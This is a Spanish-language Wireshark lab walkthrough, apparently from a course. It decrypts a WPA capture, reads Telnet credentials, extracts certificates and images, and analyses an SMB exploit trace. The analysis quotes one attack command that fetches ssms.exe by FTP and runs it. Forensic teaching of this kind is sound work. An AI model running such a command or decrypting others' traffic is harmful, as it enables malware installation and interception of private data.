Archivo:
wpa-Induction.pcap · Contraseña: Induction · SSID: CohererHacemos doble clic en el archivo wpa-Induction.pcap. Se abre directamente en Wireshark. Nos desplazamos hacia abajo para encontrar los cuatro marcos con protocolo EAPOL — estos son los paquetes del 4-way handshake que negocia la clave privada entre el cliente Apple y el AP Cisco.
// wpa-Induction.pcap abierto en Wireshark
// Cuatro marcos EAPOL del 4-way handshake
Un dispositivo Apple se une a una red inalámbrica de Cisco. Los cuatro paquetes EAPOL negocian la clave privada para ese usuario. Podemos añadir un filtro para visualizarlos agrupados:
// Filtro eapol aplicado — 4 paquetes del handshake
Sin filtro, en el marco 99, Wireshark solo puede indicar que el paquete contiene "Data" — el contenido está cifrado y no es legible todavía:
// Marco 99 — datos cifrados, sin descifrar
// Detalle del marco 99 cifrado
Vamos a Edición → Preferencias → Protocolos y buscamos IEEE 802.11:
// Edición → Preferencias → Protocolos
// Protocolo IEEE 802.11 en Preferencias
En la opción "Decryption keys", hacemos clic en Editar e introducimos una clave de tipo wpa-pwd:
// Opción Decryption keys → Editar
// Añadir clave wpa-pwd con formato Contraseña:SSID
En la casilla "WEP y WPA Decryption Keys" hacemos clic en Aceptar. Luego marcamos la casilla "Habilitar descifrado" y pulsamos Aplicar y Aceptar:
// Habilitar descifrado marcado
El marco 99 ahora está descifrado, revelando que contiene un paquete DHCP:
// Marco 99 descifrado — paquete DHCP visible
Dirección MAC del Punto de Acceso (AP)
Seleccionamos el primer paquete del handshake (EAPOL-Key frame 1/4). En el panel de detalles expandimos "IEEE 802.11 Wireless LAN" y buscamos el campo BSSID:
// BSSID del AP en el primer frame EAPOL
Dirección MAC del Cliente
Seleccionamos el segundo paquete del handshake (EAPOL-Key frame 2/4). En la sección IEEE 802.11 buscamos el campo "Transmitter address":
// Transmitter address del cliente en el segundo frame EAPOL
Tipo de tráfico tras el descifrado
Con el tráfico descifrado podemos examinar los protocolos. Ejemplos de paquetes descifrados:
// Paquete HTTP descifrado — URL y datos visibles
// Paquete DNS descifrado — consulta y respuesta
Archivo:
telnet-raw.pcapArchivo → Abrir → seleccionar telnet-raw.pcap:
// telnet-raw.pcap abierto en Wireshark
// Filtro telnet aplicado — solo paquetes Telnet
Seleccionando cualquier paquete Telnet y examinando el panel de detalles, la sección "Telnet Data" muestra los datos enviados en texto legible.
// Paquete Telnet seleccionado — detalle en panel inferior
// Sección Telnet Data — comandos en texto claro
// Secuencia de comandos a lo largo de la sesión
En la línea 28 se aprecia Data: Login: — el servidor solicita credenciales:
// Línea 28 — Data: Login: (solicitud de credenciales)
Hacemos clic derecho sobre el paquete → Seguir → TCP Stream. Obtenemos el flujo completo de la sesión:
// TCP Stream completo — login: fake, password: user
// TCP Stream — comandos ejecutados y ping a Yahoo
Al inicio de la sesión, el servidor envía un mensaje de bienvenida que revela el SO:
// Mensaje de bienvenida del servidor — OpenBSD/i386
.)
Archivo:
x509-with-logo.cap// x509-with-logo.cap abierto en Wireshark
En la columna "No." buscamos el paquete número 18 y hacemos clic para seleccionarlo:
// Paquete 18 seleccionado — contiene el certificado X.509
Clic derecho en el paquete 18 → Seguir → TCP Stream. Encontramos la URL de VeriSign y datos del certificado:
// TCP Stream del paquete 18 — URL VeriSign visible
Dentro del certificado podemos ver los campos Subject e Issuer:
// Campo Subject del certificado X.509
// Campo Signature Algorithm del certificado
Archivo:
http_with_jpegs.cap.gz// http_with_jpegs.cap.gz abierto en Wireshark
Para poder reensamblar PDUs que abarcan múltiples segmentos TCP, hay que habilitar tres preferencias. La primera es el interruptor maestro en la capa TCP:
// TCP → Allow subdissector to reassemble TCP streams (interruptor maestro)
Las dos opciones específicas de HTTP:
// HTTP → Reassemble HTTP bodies (opción 1)
// HTTP → Reassemble HTTP bodies spanning segments (opción 2)
Seleccionamos el paquete 479 y hacemos clic en el protocolo JPEG para visualizarlo:
// Paquete 479 seleccionado — protocolo JPEG visible
Clic derecho en el protocolo JPEG → "Exportar bytes de paquete" → guardar con extensión .jpeg. Resultado:
// Imagen JPEG exportada y visualizada desde el pcap
Archivo:
attack-trace.pcap_.gzEn Estadísticas → IPv4 Statistics → All Addresses vemos las dos IPs de la captura. Luego en Estadísticas → Gráfica de flujo observamos el establecimiento TCP y los paquetes SYN/SYN-ACK:
// IPv4 Statistics → All Addresses — dos IPs en la captura
// Gráfica de flujo TCP — SYN determina quién inicia
Con whois sobre la IP atacante obtenemos organización, dirección postal y contactos. Con el filtro SMB de Wireshark obtenemos el sistema operativo:
// whois 98.114.205.102 — organización: MCI/Verizon Business
// whois — dirección: Ashburn, VA, EE.UU.
// Filtro smb.native_os — Windows 2000 identificado
// check-host.net — geolocalización de la IP atacante
// Mapa de geolocalización del host atacante
Estadísticas → Conversaciones → pestaña TCP:
// Conversaciones TCP — 5 sesiones identificadas
Estadísticas → Propiedades de archivo de captura:
// Propiedades del archivo — duración total: 16 segundos
// Última marca temporal en columna Time: 16.214214s
// Filtro smb.native_os en víctima — Windows 5.1 = Windows XP
En Estadísticas → IPv4 Statistics → Destinations and Ports vemos los puertos involucrados. En Estadísticas → Jerarquía de Protocolo vemos todos los protocolos:
// Puertos destino en la máquina atacada
// Jerarquía de protocolo — SMB, DCERPC, SOCKS
| Stream | Descripción de la actividad |
|---|---|
| tcp.stream == 0 | Intento de conexión al puerto 445 (SMB en Windows desde 2000). |
| tcp.stream == 1 | Conexión establecida con SMB "Session Setup". La víctima responde STATUS_MORE_PROCESSING_REQUIRED (pide credenciales). Se usa DCERPC + DSSETUP para consultar Active Directory. Paquetes 33 y 38: DsRoleUpgradeDownlevelServer → explotación de vulnerabilidad. |
| tcp.stream == 2 | Paquetes con flag PSH activa. Paquete 42 contiene el comando: echo open 0.0.0.0 8884 > o &echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe→ Prepara subida del fichero ssms.exe por FTP. |
| tcp.stream == 3 | Ejecución correcta del comando FTP anterior. Paquete 68: se pasa password 1. Conexión satisfactoria, se prepara la subida del fichero. |
| tcp.stream == 4 | Confirmación de la subida del ejecutable. Primer paquete Socks indica "Windows Program" → ssms.exe subido con éxito. |
// tcp.stream == 0 — intento conexión puerto 445
// tcp.stream == 1 — SMB Session Setup + DCERPC/DSSETUP
// DsRoleUpgradeDownlevelServer — clave para identificar el exploit
// Detalle del exploit en los paquetes 33 y 38
// tcp.stream == 2 — comando con flag PSH, subida de ssms.exe por FTP
// tcp.stream == 3 — ejecución FTP con credenciales user:1 pass:1
// tcp.stream == 4 — confirmación subida del ejecutable malicioso